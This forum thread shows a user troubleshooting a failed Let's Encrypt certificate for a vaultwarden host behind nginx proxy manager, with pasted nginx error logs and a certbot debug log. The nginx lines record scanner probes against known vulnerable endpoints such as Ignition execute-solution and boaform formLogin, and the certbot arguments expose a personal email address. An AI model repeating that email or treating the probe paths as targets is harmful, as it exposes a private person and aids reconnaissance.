2022/12/03 00:00:14 [error] 6905#6905: *72797 open() "/var/www/html/menu.asp" failed (2: No such file or directory), client: 139.144.52.241, server: localhost-nginx-proxy-manager, request: "GET /menu.asp HTTP/1.1", host: "X-X-X-X.client.mchsi.com"
2022/12/03 00:00:14 [error] 6905#6905: *72798 open() "/var/www/html/base.pl" failed (2: No such file or directory), client: 139.144.52.241, server: localhost-nginx-proxy-manager, request: "GET /base.pl HTTP/1.1", host: "X-X-X-X.client.mchsi.com"
2022/12/03 00:00:14 [error] 6905#6905: *72799 open() "/var/www/html/menu.pl" failed (2: No such file or directory), client: 139.144.52.241, server: localhost-nginx-proxy-manager, request: "GET /menu.pl HTTP/1.1", host: "X-X-X-X.client.mchsi.com"
2022/12/03 00:00:15 [error] 6905#6905: *72800 open() "/var/www/html/home.pl" failed (2: No such file or directory), client: 139.144.52.241, server: localhost-nginx-proxy-manager, request: "GET /home.pl HTTP/1.1", host: "X-X-X-X.client.mchsi.com"
2022/12/03 00:00:15 [error] 6905#6905: *72801 open() "/var/www/html/home.jhtml" failed (2: No such file or directory), client: 139.144.52.241, server: localhost-nginx-proxy-manager, request: "GET /home.jhtml HTTP/1.1", host: "X-X-X-X.client.mchsi.com"
2022/12/03 00:00:15 [error] 6905#6905: *72802 open() "/var/www/html/localstart.pl" failed (2: No such file or directory), client: 139.144.52.241, server: localhost-nginx-proxy-manager, request: "GET /localstart.pl HTTP/1.1", host: "X-X-X-X.client.mchsi.com"
2022/12/03 00:00:15 [error] 6905#6905: *72803 open() "/var/www/html/start.asp" failed (2: No such file or directory), client: 139.144.52.241, server: localhost-nginx-proxy-manager, request: "GET /start.asp HTTP/1.1", host: "X-X-X-X.client.mchsi.com"
2022/12/03 00:00:15 [error] 6905#6905: *72804 open() "/var/www/html/base.jhtml" failed (2: No such file or directory), client: 139.144.52.241, server: localhost-nginx-proxy-manager, request: "GET /base.jhtml HTTP/1.1", host: "X-X-X-X.client.mchsi.com"
2022/12/03 00:07:39 [error] 6905#6905: *72879 open() "/var/www/html/boaform/admin/formLogin" failed (2: No such file or directory), client: 194.55.186.216, server: localhost-nginx-proxy-manager, request: "POST /boaform/admin/formLogin HTTP/1.1", host: "X.X.X.X:80", referrer: "http://X.X.X.X:80/admin/login.asp"
2022/12/03 00:47:54 [error] 6944#6944: *72884 "/var/www/html/console/index.html" is not found (2: No such file or directory), client: 152.89.196.211, server: localhost-nginx-proxy-manager, request: "GET /console/ HTTP/1.1", host: "X.X.X.X:80"
2022/12/03 01:26:35 [error] 6944#6944: *72894 open() "/var/www/html/Autodiscover/Autodiscover.xml" failed (2: No such file or directory), client: 152.89.196.211, server: localhost-nginx-proxy-manager, request: "POST /Autodiscover/Autodiscover.xml HTTP/1.1", host: "X.X.X.X:80"
2022/12/03 01:50:46 [error] 6944#6944: *72913 open() "/var/www/html/_ignition/execute-solution" failed (2: No such file or directory), client: 152.89.196.211, server: localhost-nginx-proxy-manager, request: "GET /_ignition/execute-solution HTTP/1.1", host: "X.X.X.X:80"
2022/12/03 03:15:59 [error] 6944#6944: *72924 open() "/var/www/html/boaform/admin/formLogin" failed (2: No such file or directory), client: 141.255.166.2, server: localhost-nginx-proxy-manager, request: "POST /boaform/admin/formLogin HTTP/1.1", host: "X.X.X.X8:80", referrer: "http://X.X.X.X:80/admin/login.asp"

 

Edited by DuneJeeper
Hide IP
Link to comment
2022-12-04 06:38:37,151:DEBUG:certbot._internal.main:certbot version: 1.27.0
2022-12-04 06:38:37,151:DEBUG:certbot._internal.main:Location of certbot entry point: /usr/bin/certbot
2022-12-04 06:38:37,151:DEBUG:certbot._internal.main:Arguments: ['--config', '/etc/letsencrypt.ini', '--cert-name', 'npm-15', '--agree-tos', '--authenticator', 'webroot', '--email', 'joshuabarker.rn@gmail.com', '--preferred-challenges', 'dns,http', '--domains', 'vaultwarden.jsXXXXX.com']
2022-12-04 06:38:37,151:DEBUG:certbot._internal.main:Discovered plugins: PluginsRegistry(PluginEntryPoint#manual,PluginEntryPoint#null,PluginEntryPoint#standalone,PluginEntryPoint#webroot)
2022-12-04 06:38:37,942:DEBUG:certbot._internal.log:Root logging level set at 30
2022-12-04 06:38:37,947:DEBUG:certbot._internal.plugins.selection:Requested authenticator webroot and installer None
2022-12-04 06:38:37,960:DEBUG:certbot._internal.plugins.selection:Single candidate plugin: * webroot
Description: Place files in webroot directory
Interfaces: Authenticator, Plugin
Entry point: webroot = certbot._internal.plugins.webroot:Authenticator
Initialized: <certbot._internal.plugins.webroot.Authenticator object at 0x146847b8dbe0>
Prep: True
2022-12-04 06:38:37,961:DEBUG:certbot._internal.plugins.selection:Selected authenticator <certbot._internal.plugins.webroot.Authenticator object at 0x146847b8dbe0> and installer None
2022-12-04 06:38:37,962:INFO:certbot._internal.plugins.selection:Plugins selected: Authenticator webroot, Installer None
2022-12-04 06:38:38,212:DEBUG:certbot._internal.main:Picked account: <Account(RegistrationResource(body=Registration(key=None, contact=(), agreement=None, status=None, terms_of_service_agreed=None, only_return_existing=None, external_account_binding=None), uri='https://acme-v02.api.letsencrypt.org/acme/acct/244684430', new_authzr_uri=None, terms_of_service=None), ff47a0a8b3b4440b514c9676077dc033, Meta(creation_dt=datetime.datetime(2021, 10, 18, 21, 30, 9, tzinfo=<UTC>), creation_host='610dfc3962ef', register_to_eff=None))>
2022-12-04 06:38:38,214:DEBUG:acme.client:Sending GET request to https://acme-v02.api.letsencrypt.org/directory.
2022-12-04 06:38:38,219:DEBUG:urllib3.connectionpool:Starting new HTTPS connection (1): acme-v02.api.letsencrypt.org:443
2022-12-04 06:38:38,381:DEBUG:urllib3.connectionpool:https://acme-v02.api.letsencrypt.org:443 "GET /directory HTTP/1.1" 200 659
2022-12-04 06:38:38,383:DEBUG:acme.client:Received response:
HTTP 200
Server: nginx
Date: Sun, 04 Dec 2022 12:38:38 GMT
Content-Type: application/json
Content-Length: 659
Connection: keep-alive
Cache-Control: public, max-age=0, no-cache
X-Frame-Options: DENY
Strict-Transport-Security: max-age=604800

{
  "WevIWKAr5WU": "https://community.letsencrypt.org/t/adding-random-entries-to-the-directory/33417",
  "keyChange": "https://acme-v02.api.letsencrypt.org/acme/key-change",
  "meta": {
    "caaIdentities": [
      "letsencrypt.org"
    ],
    "termsOfService": "https://letsencrypt.org/documents/LE-SA-v1.3-September-21-2022.pdf",
    "website": "https://letsencrypt.org"
  },
  "newAccount": "https://acme-v02.api.letsencrypt.org/acme/new-acct",
  "newNonce": "https://acme-v02.api.letsencrypt.org/acme/new-nonce",
  "newOrder": "https://acme-v02.api.letsencrypt.org/acme/new-order",
  "revokeCert": "https://acme-v02.api.letsencrypt.org/acme/revoke-cert"
}
2022-12-04 06:38:38,385:DEBUG:certbot._internal.display.obj:Notifying user: Requesting a certificate for vaultwarden.XXXXX.com
2022-12-04 06:38:38,397:DEBUG:certbot.crypto_util:Generating ECDSA key (2048 bits): /etc/letsencrypt/keys/0004_key-certbot.pem
2022-12-04 06:38:38,410:DEBUG:certbot.crypto_util:Creating CSR: /etc/letsencrypt/csr/0004_csr-certbot.pem
2022-12-04 06:38:38,415:DEBUG:acme.client:Requesting fresh nonce
2022-12-04 06:38:38,415:DEBUG:acme.client:Sending HEAD request to https://acme-v02.api.letsencrypt.org/acme/new-nonce.
2022-12-04 06:38:38,468:DEBUG:urllib3.connectionpool:https://acme-v02.api.letsencrypt.org:443 "HEAD /acme/new-nonce HTTP/1.1" 200 0
2022-12-04 06:38:38,470:DEBUG:acme.client:Received response:
HTTP 200
Server: nginx
Date: Sun, 04 Dec 2022 12:38:38 GMT
Connection: keep-alive
Cache-Control: public, max-age=0, no-cache
Link: <https://acme-v02.api.letsencrypt.org/directory>;rel="index"
Replay-Nonce: 5CA2zA_muTGdjlNqLW3tXuuce14PoKWDX_7cT8XZ6FKy514
X-Frame-Options: DENY
Strict-Transport-Security: max-age=604800


2022-12-04 06:38:38,470:DEBUG:acme.client:Storing nonce: 5CA2zA_muTGdjlNqLW3tXuuce14PoKWDX_7cT8XZ6FKy514
2022-12-04 06:38:38,471:DEBUG:acme.client:JWS payload:
b'{\n  "identifiers": [\n    {\n      "type": "dns",\n      "value": "vaultwarden.XXXXX.com"\n    }\n  ]\n}'
2022-12-04 06:38:38,480:DEBUG:acme.client:Sending POST request to https://acme-v02.api.letsencrypt.org/acme/new-order:
{
  "protected": "eyJhbGciOiAiUlMyNTYiLCAia2lkIjogImh0dHBzOi8vYWNtZS12MDIuYXBpLmxldHNlbmNyeXB0Lm9yZy9hY21lL2FjY3QvMjQ0Njg0NDMwIiwgIm5vbmNlIjogIjVDQTJ6QV9tdVRHZGpsTnFMVzN0WHV1Y2UxNFBvS1dEWF83Y1Q4WFo2Rkt5NTE0IiwgInVybCI6ICJodHRwczovL2FjbWUtdjAyLmFwaS5sZXRzZW5jcnlwdC5vcmcvYWNtZS9uZXctb3JkZXIifQ",
  "signature": "AGiv5F7QRfo6PF87gLcBOjzJV0vHekURy8FxVwC9II3t6DXahB_h8N8zZzucHqqI8s28MFqaCKG0UhXl5MsYScYdf2Ecei0KQYUvBUYntL7HE840nYRKlLtYOQ2Q6D6ZzFuwWLcOmBJ47oziDfZZ_GiXrbgFoTw9GWD-jndBKh5cM1Svd2SYFIH3cQkg-YElcLmDbdHxRLzxt7M2_3nH5Eco9XtAT2-gr-pJVt7T5JnFPYDuc9vp3zesj8Oq2ylLJHHUrhnzedVZiyEf5HKWf5W8L9MduAHjKTX3SGCSAtUPPHaJ-qqLpXwY3R8jSDoP_-iZEr9A0eGqew32FLBA7Q",
  "payload": "ewogICJpZGVudGlmaWVycyI6IFsKICAgIHsKICAgICAgInR5cGUiOiAiZG5zIiwKICAgICAgInZhbHVlIjogInZhdWx0d2FyZGVuLmpzYnNlcnZlci5jb20iCiAgICB9CiAgXQp9"
}
2022-12-04 06:38:38,679:DEBUG:urllib3.connectionpool:https://acme-v02.api.letsencrypt.org:443 "POST /acme/new-order HTTP/1.1" 201 350
2022-12-04 06:38:38,681:DEBUG:acme.client:Received response:
HTTP 201
Server: nginx
Date: Sun, 04 Dec 2022 12:38:38 GMT
Content-Type: application/json
Content-Length: 350
Connection: keep-alive
Boulder-Requester: 244684430
Cache-Control: public, max-age=0, no-cache
Link: <https://acme-v02.api.letsencrypt.org/directory>;rel="index"
Location: https://acme-v02.api.letsencrypt.org/acme/order/244684430/150257178297
Replay-Nonce: 371Cq1DKlCrmoBqtyvsiKOklNyU3_ZfKvRRlQmn0CK72WQ8
X-Frame-Options: DENY
Strict-Transport-Security: max-age=604800

{
  "status": "pending",
  "expires": "2022-12-11T12:38:38Z",
  "identifiers": [
    {
      "type": "dns",
      "value": "vaultwarden.XXXXX.com"
    }
  ],
  "authorizations": [
    "https://acme-v02.api.letsencrypt.org/acme/authz-v3/183831876757"
  ],
  "finalize": "https://acme-v02.api.letsencrypt.org/acme/finalize/244684430/150257178297"
}
2022-12-04 06:38:38,681:DEBUG:acme.client:Storing nonce: 371Cq1DKlCrmoBqtyvsiKOklNyU3_ZfKvRRlQmn0CK72WQ8
2022-12-04 06:38:38,682:DEBUG:acme.client:JWS payload:
b''
2022-12-04 06:38:38,688:DEBUG:acme.client:Sending POST request to https://acme-v02.api.letsencrypt.org/acme/authz-v3/183831876757:
{
  "protected": "eyJhbGciOiAiUlMyNTYiLCAia2lkIjogImh0dHBzOi8vYWNtZS12MDIuYXBpLmxldHNlbmNyeXB0Lm9yZy9hY21lL2FjY3QvMjQ0Njg0NDMwIiwgIm5vbmNlIjogIjM3MUNxMURLbENybW9CcXR5dnNpS09rbE55VTNfWmZLdlJSbFFtbjBDSzcyV1E4IiwgInVybCI6ICJodHRwczovL2FjbWUtdjAyLmFwaS5sZXRzZW5jcnlwdC5vcmcvYWNtZS9hdXRoei12My8xODM4MzE4NzY3NTcifQ",
  "signature": "MJg0fdiotGsLGY0OtDLLHrsgaDinsOYK37uXLhV9uoComDYu1z3VY4l84Uu75m5-CR-RB1hGrDSoX2K1yqqfHino783SMINzRfTfoxyFhLkrvG4j3vX6FZB7NfpiGv7bxbLnWDHO9XHcJ7pdwHz4Uf_HMa-KsBwlwGn8oqNoEamO1dwqfedmEFO4yNj4f-yvGyL7PjwBLeujeuG0bx6JQqfdSbq3pfnEOgkQGlvPd-PZ2nL1HHdg4DdjZIx_gxIIke0zs8gMTnjP2tizO6nBbpHMLMvipGEgCYxnPy1hTOVpK-GYHpoUzoc4bT7PEvyqhrvIsBAgCSTmYL6S-96X7Q",
  "payload": ""
}
2022-12-04 06:38:38,764:DEBUG:urllib3.connectionpool:https://acme-v02.api.letsencrypt.org:443 "POST /acme/authz-v3/183831876757 HTTP/1.1" 200 809
2022-12-04 06:38:38,765:DEBUG:acme.client:Received response:
HTTP 200
Server: nginx
Date: Sun, 04 Dec 2022 12:38:38 GMT
Content-Type: application/json
Content-Length: 809
Connection: keep-alive
Boulder-Requester: 244684430
Cache-Control: public, max-age=0, no-cache
Link: <https://acme-v02.api.letsencrypt.org/directory>;rel="index"
Replay-Nonce: 1DFA1Zkxib13g0N_a87Ib88r_FTzhGEJKWuXsp6aN6otrlY
X-Frame-Options: DENY
Strict-Transport-Security: max-age=604800

{
  "identifier": {
    "type": "dns",
    "value": "vaultwarden.XXXXX.com"
  },
  "status": "pending",
  "expires": "2022-12-11T12:38:38Z",
  "challenges": [
    {
      "type": "http-01",
      "status": "pending",
      "url": "https://acme-v02.api.letsencrypt.org/acme/chall-v3/183831876757/f0OwpA",
      "token": "5lz_b5iRNiFt7mWfO88xUuR7J4E7zurpem2-d2IZGH4"
    },
    {
      "type": "dns-01",
      "status": "pending",
      "url": "https://acme-v02.api.letsencrypt.org/acme/chall-v3/183831876757/auEevQ",
      "token": "5lz_b5iRNiFt7mWfO88xUuR7J4E7zurpem2-d2IZGH4"
    },
    {
      "type": "tls-alpn-01",
      "status": "pending",
      "url": "https://acme-v02.api.letsencrypt.org/acme/chall-v3/183831876757/5OAA5Q",
      "token": "5lz_b5iRNiFt7mWfO88xUuR7J4E7zurpem2-d2IZGH4"
    }
  ]
}
2022-12-04 06:38:38,766:DEBUG:acme.client:Storing nonce: 1DFA1Zkxib13g0N_a87Ib88r_FTzhGEJKWuXsp6aN6otrlY
2022-12-04 06:38:38,767:INFO:certbot._internal.auth_handler:Performing the following challenges:
2022-12-04 06:38:38,768:INFO:certbot._internal.auth_handler:http-01 challenge for vaultwarden.jsbserver.com
2022-12-04 06:38:38,769:INFO:certbot._internal.plugins.webroot:Using the webroot path /data/letsencrypt-acme-challenge for all unmatched domains.
2022-12-04 06:38:38,769:DEBUG:certbot._internal.plugins.webroot:Creating root challenges validation dir at /data/letsencrypt-acme-challenge/.well-known/acme-challenge
2022-12-04 06:38:38,774:DEBUG:certbot._internal.plugins.webroot:Attempting to save validation to /data/letsencrypt-acme-challenge/.well-known/acme-challenge/5lz_b5iRNiFt7mWfO88xUuR7J4E7zurpem2-d2IZGH4
2022-12-04 06:38:38,776:DEBUG:acme.client:JWS payload:
b'{}'
2022-12-04 06:38:38,781:DEBUG:acme.client:Sending POST request to https://acme-v02.api.letsencrypt.org/acme/chall-v3/183831876757/f0OwpA:
{
  "protected": "eyJhbGciOiAiUlMyNTYiLCAia2lkIjogImh0dHBzOi8vYWNtZS12MDIuYXBpLmxldHNlbmNyeXB0Lm9yZy9hY21lL2FjY3QvMjQ0Njg0NDMwIiwgIm5vbmNlIjogIjFERkExWmt4aWIxM2cwTl9hODdJYjg4cl9GVHpoR0VKS1d1WHNwNmFONm90cmxZIiwgInVybCI6ICJodHRwczovL2FjbWUtdjAyLmFwaS5sZXRzZW5jcnlwdC5vcmcvYWNtZS9jaGFsbC12My8xODM4MzE4NzY3NTcvZjBPd3BBIn0",
  "signature": "lIt_Tsfsj4ANGfGjTl9iCK41f0grLPz_3oC1EKbXY1oC3wgBcWmW0I2WhCHgQjxNK8obQMK6o2-RDc-1bDp41j1f_PiGVnVqf4oCEOIgv83NjDlMuXMUvhAKxi5Ek-M-rpQb5nI92Sd9j5_DMJ5SunzCsns_ln-5RRm5bPfRla6ailt023OcDA-_k7JqhdmLwZKN9mzFDlZZG99wDpoN9q8R9PyCWOtYYRl3ucM0h_8KzM8VTKt5wtVtmtdiuc7lYJAxmgAwtiT4Z4_0Evu5lfRddtrM098--VbfvbDFfafNC5VSbGdVG94KE_EXYfJnBycDJ96t26LenNMgJvDhzQ",
  "payload": "e30"
}
2022-12-04 06:38:38,838:DEBUG:urllib3.connectionpool:https://acme-v02.api.letsencrypt.org:443 "POST /acme/chall-v3/183831876757/f0OwpA HTTP/1.1" 200 187
2022-12-04 06:38:38,839:DEBUG:acme.client:Received response:
HTTP 200
Server: nginx
Date: Sun, 04 Dec 2022 12:38:38 GMT
Content-Type: application/json
Content-Length: 187
Connection: keep-alive
Boulder-Requester: 244684430
Cache-Control: public, max-age=0, no-cache
Link: <https://acme-v02.api.letsencrypt.org/directory>;rel="index", <https://acme-v02.api.letsencrypt.org/acme/authz-v3/183831876757>;rel="up"
Location: https://acme-v02.api.letsencrypt.org/acme/chall-v3/183831876757/f0OwpA
Replay-Nonce: 1DFAY52gw7ubiatPtDC8A01gOji0v4OZdZWxVoLreItsCjA
X-Frame-Options: DENY
Strict-Transport-Security: max-age=604800

{
  "type": "http-01",
  "status": "pending",
  "url": "https://acme-v02.api.letsencrypt.org/acme/chall-v3/183831876757/f0OwpA",
  "token": "5lz_b5iRNiFt7mWfO88xUuR7J4E7zurpem2-d2IZGH4"
}
2022-12-04 06:38:38,840:DEBUG:acme.client:Storing nonce: 1DFAY52gw7ubiatPtDC8A01gOji0v4OZdZWxVoLreItsCjA
2022-12-04 06:38:38,841:INFO:certbot._internal.auth_handler:Waiting for verification...
2022-12-04 06:38:39,842:DEBUG:acme.client:JWS payload:
b''
2022-12-04 06:38:39,848:DEBUG:acme.client:Sending POST request to https://acme-v02.api.letsencrypt.org/acme/authz-v3/183831876757:
{
  "protected": "eyJhbGciOiAiUlMyNTYiLCAia2lkIjogImh0dHBzOi8vYWNtZS12MDIuYXBpLmxldHNlbmNyeXB0Lm9yZy9hY21lL2FjY3QvMjQ0Njg0NDMwIiwgIm5vbmNlIjogIjFERkFZNTJndzd1YmlhdFB0REM4QTAxZ09qaTB2NE9aZFpXeFZvTHJlSXRzQ2pBIiwgInVybCI6ICJodHRwczovL2FjbWUtdjAyLmFwaS5sZXRzZW5jcnlwdC5vcmcvYWNtZS9hdXRoei12My8xODM4MzE4NzY3NTcifQ",
  "signature": "Hm3jP0ZqcRvG2EE4dXqX54OOyvN6igKFK8pIyObuElcdijyfYbS0Tc81ekXc34JepaVZyyMukt47QYdOoFv3p4kACFdYFDuJVIJ4mh16XNVYFPub7zo9du7PHoB2hJ_y_CMhdqKbdYX5NrYyAsxxVn4_e0srN1aCOFNj59F0yOLPWJYF9w3F7sAUAPWU21agnUVdHNAMhAOe50xwxUd_W3V7HJDJDXuvQlqFqEd7nqJCXDp0GsuLndXONc3Imbv4j8_E7vAqaz0ExhScWtPSA9dpHu9Px5z7Nu0aw80coReZs9nAYvyQDTQUajlHfRzgd3XT2rL5uxXCAUid-I59_Q",
  "payload": ""
}
2022-12-04 06:38:39,922:DEBUG:urllib3.connectionpool:https://acme-v02.api.letsencrypt.org:443 "POST /acme/authz-v3/183831876757 HTTP/1.1" 200 1130
2022-12-04 06:38:39,924:DEBUG:acme.client:Received response:
HTTP 200
Server: nginx
Date: Sun, 04 Dec 2022 12:38:39 GMT
Content-Type: application/json
Content-Length: 1130
Connection: keep-alive
Boulder-Requester: 244684430
Cache-Control: public, max-age=0, no-cache
Link: <https://acme-v02.api.letsencrypt.org/directory>;rel="index"
Replay-Nonce: 371CIPOmXjwa3h2D0ehLiA3F4Wdycs-bA9Nnz93C87hWxrI
X-Frame-Options: DENY
Strict-Transport-Security: max-age=604800

{
  "identifier": {
    "type": "dns",
    "value": "vaultwarden.XXXXX.com"
  },
  "status": "invalid",
  "expires": "2022-12-11T12:38:38Z",
  "challenges": [
    {
      "type": "http-01",
      "status": "invalid",
      "error": {
        "type": "urn:ietf:params:acme:error:unauthorized",
        "detail": "2a00:1450:400e:80f::2013: Invalid response from http://vaultwarden.XXXXX.com/.well-known/acme-challenge/5lz_b5iRNiFt7mWfO88xUuR7J4E7zurpem2-d2IZGH4: 404",
        "status": 403
      },
      "url": "https://acme-v02.api.letsencrypt.org/acme/chall-v3/183831876757/f0OwpA",
      "token": "5lz_b5iRNiFt7mWfO88xUuR7J4E7zurpem2-d2IZGH4",
      "validationRecord": [
        {
          "url": "http://vaultwarden.XXXXX.com/.well-known/acme-challenge/5lz_b5iRNiFt7mWfO88xUuR7J4E7zurpem2-d2IZGH4",
          "hostname": "vaultwarden.XXXXX.com",
          "port": "80",
          "addressesResolved": [
            "142.250.72.51",
            "2a00:1450:400e:80f::2013"
          ],
          "addressUsed": "2a00:1450:400e:80f::2013"
        }
      ],
      "validated": "2022-12-04T12:38:38Z"
    }
  ]
}
2022-12-04 06:38:39,924:DEBUG:acme.client:Storing nonce: 371CIPOmXjwa3h2D0ehLiA3F4Wdycs-bA9Nnz93C87hWxrI
2022-12-04 06:38:39,925:INFO:certbot._internal.auth_handler:Challenge failed for domain vaultwarden.XXXXX.com
2022-12-04 06:38:39,926:INFO:certbot._internal.auth_handler:http-01 challenge for vaultwarden.XXXXX.com
2022-12-04 06:38:39,927:DEBUG:certbot._internal.display.obj:Notifying user: 
Certbot failed to authenticate some domains (authenticator: webroot). The Certificate Authority reported these problems:
  Domain: vaultwarden.XXXXX.com
  Type:   unauthorized
  Detail: 2a00:1450:400e:80f::2013: Invalid response from http://vaultwarden.XXXXX.com/.well-known/acme-challenge/5lz_b5iRNiFt7mWfO88xUuR7J4E7zurpem2-d2IZGH4: 404

Hint: The Certificate Authority failed to download the temporary challenge files created by Certbot. Ensure that the listed domains serve their content from the provided --webroot-path/-w and that files created there can be downloaded from the internet.

2022-12-04 06:38:39,928:DEBUG:certbot._internal.error_handler:Encountered exception:
Traceback (most recent call last):
  File "/usr/lib/python3.9/site-packages/certbot/_internal/auth_handler.py", line 106, in handle_authorizations
    self._poll_authorizations(authzrs, max_retries, best_effort)
  File "/usr/lib/python3.9/site-packages/certbot/_internal/auth_handler.py", line 206, in _poll_authorizations
    raise errors.AuthorizationError('Some challenges have failed.')
certbot.errors.AuthorizationError: Some challenges have failed.

2022-12-04 06:38:39,928:DEBUG:certbot._internal.error_handler:Calling registered functions
2022-12-04 06:38:39,929:INFO:certbot._internal.auth_handler:Cleaning up challenges
2022-12-04 06:38:39,929:DEBUG:certbot._internal.plugins.webroot:Removing /data/letsencrypt-acme-challenge/.well-known/acme-challenge/5lz_b5iRNiFt7mWfO88xUuR7J4E7zurpem2-d2IZGH4
2022-12-04 06:38:39,931:DEBUG:certbot._internal.plugins.webroot:All challenges cleaned up
2022-12-04 06:38:39,932:DEBUG:certbot._internal.log:Exiting abnormally:
Traceback (most recent call last):
  File "/usr/bin/certbot", line 8, in <module>
    sys.exit(main())
  File "/usr/lib/python3.9/site-packages/certbot/main.py", line 19, in main
    return internal_main.main(cli_args)
  File "/usr/lib/python3.9/site-packages/certbot/_internal/main.py", line 1744, in main
    return config.func(config, plugins)
  File "/usr/lib/python3.9/site-packages/certbot/_internal/main.py", line 1591, in certonly
    lineage = _get_and_save_cert(le_client, config, domains, certname, lineage)
  File "/usr/lib/python3.9/site-packages/certbot/_internal/main.py", line 141, in _get_and_save_cert
    lineage = le_client.obtain_and_enroll_certificate(domains, certname)
  File "/usr/lib/python3.9/site-packages/certbot/_internal/client.py", line 513, in obtain_and_enroll_certificate
    cert, chain, key, _ = self.obtain_certificate(domains)
  File "/usr/lib/python3.9/site-packages/certbot/_internal/client.py", line 441, in obtain_certificate
    orderr = self._get_order_and_authorizations(csr.data, self.config.allow_subset_of_names)
  File "/usr/lib/python3.9/site-packages/certbot/_internal/client.py", line 493, in _get_order_and_authorizations
    authzr = self.auth_handler.handle_authorizations(orderr, self.config, best_effort)
  File "/usr/lib/python3.9/site-packages/certbot/_internal/auth_handler.py", line 106, in handle_authorizations
    self._poll_authorizations(authzrs, max_retries, best_effort)
  File "/usr/lib/python3.9/site-packages/certbot/_internal/auth_handler.py", line 206, in _poll_authorizations
    raise errors.AuthorizationError('Some challenges have failed.')
certbot.errors.AuthorizationError: Some challenges have failed.
2022-12-04 06:38:39,935:ERROR:certbot._internal.log:Some challenges have failed.

 

This is from the letsencrypt folder in nginx after I deleted the host from NPM as well as google domain and added them both again

 

Link to comment

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.
Note: Your post will require moderator approval before it will be visible.

Guest
Reply to this topic...

×   Pasted as rich text.   Restore formatting

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.